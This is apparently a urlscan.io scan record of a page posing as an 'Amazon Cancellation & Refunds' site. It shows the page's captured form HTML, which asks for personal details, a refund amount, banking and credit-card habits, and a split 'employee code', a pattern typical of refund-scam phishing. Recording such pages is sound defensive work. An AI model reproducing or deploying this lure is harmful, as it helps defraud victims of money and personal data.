amazoncancelrefunds.myzapsol.com Open in urlscan Pro
103.53.43.40  Public Scan

Form analysis
1 forms found in the DOM

POST InitiateRefund

<form action="InitiateRefund" method="post" autocomplete="off" onsubmit="return check();">
  <div class="refund-form_parent">
    <div class="refund-form">
      <label>Name <span class="required">*</span><br>
        <input type="text" class="input-element" maxlength="100" autofocus="" required="" name="name">
      </label>
    </div>
    <div class="refund-form">
      <label>Alternative Phone <span class="required">*</span><br>
        <input type="number" class="input-element" maxlength="10" required="" name="phone" id="phone">
      </label>
    </div>
    <div class="refund-form">
      <label>Email Address<br>
        <input type="email" class="input-element" maxlength="100" name="email">
      </label>
    </div>
    <div class="refund-form">
      <label>Street Address <span class="required">*</span><br>
        <input type="text" class="input-element" maxlength="200" required="" name="address">
      </label>
    </div>
    <div class="refund-form">
      <label>ZIP <span class="required">*</span><br>
        <input type="number" class="input-element" max="999999" min="10000" required="" name="zip">
      </label>
    </div>
    <div class="refund-form">
      <label>Refund Amount <span class="required">*</span><br>
        <input type="number" class="input-element" maxlength="10" min="1" max="99999999" step="0.01" required="" name="refund">
      </label>
    </div>
    <div class="refund-form">
      <label>How do you check banking statement <span class="required">*</span><br>
        <select class="select-element" name="bank" required="">
          <option value="Online">Online</option>
          <option value="E-Mail">E-Mail</option>
          <option value="IDont">I Don't</option>
        </select>
      </label>
    </div>
    <div class="refund-form">
      <label>Do you use your Credit Card for making online purchase? <span class="required">*</span><br>
        <select class="select-element" name="credit" required="">
          <option value="Yes">Yes</option>
          <option value="No">No</option>
        </select>
      </label>
    </div>
    <div class="refund-form">
      <label>Employee Code <span class="required">*</span><br>
        <div class="emp-code">
          <input type="text" class="input-element" style="margin-right:8px;text-" required="" maxlength="3" name="emp1">
          <input type="text" class="input-element" style="margin-right:8px;" required="" maxlength="3" name="emp2">
          <input type="text" class="input-element" style="margin-right:8px;" required="" maxlength="3" name="emp3">
          <input type="text" class="input-element" maxlength="3" required="" name="emp4">
        </div>
      </label>
    </div>
    <div>
      <img src="assets/images/amoz.jpg" style="width:100%;height:120px;">
    </div>
    <div class="button" style="margin-top:20px;">
      <button class="btn" type="submit">Submit</button>
      <button class="btn reset" type="reset">Reset</button>
    </div>
  </div>
</form>

Text Content

AMAZON CANCELLATION & REFUNDS


Name *

Alternative Phone *

Email Address

Street Address *

ZIP *

Refund Amount *

How do you check banking statement *
Online E-Mail I Don't
Do you use your Credit Card for making online purchase? *
Yes No
Employee Code *



Submit Reset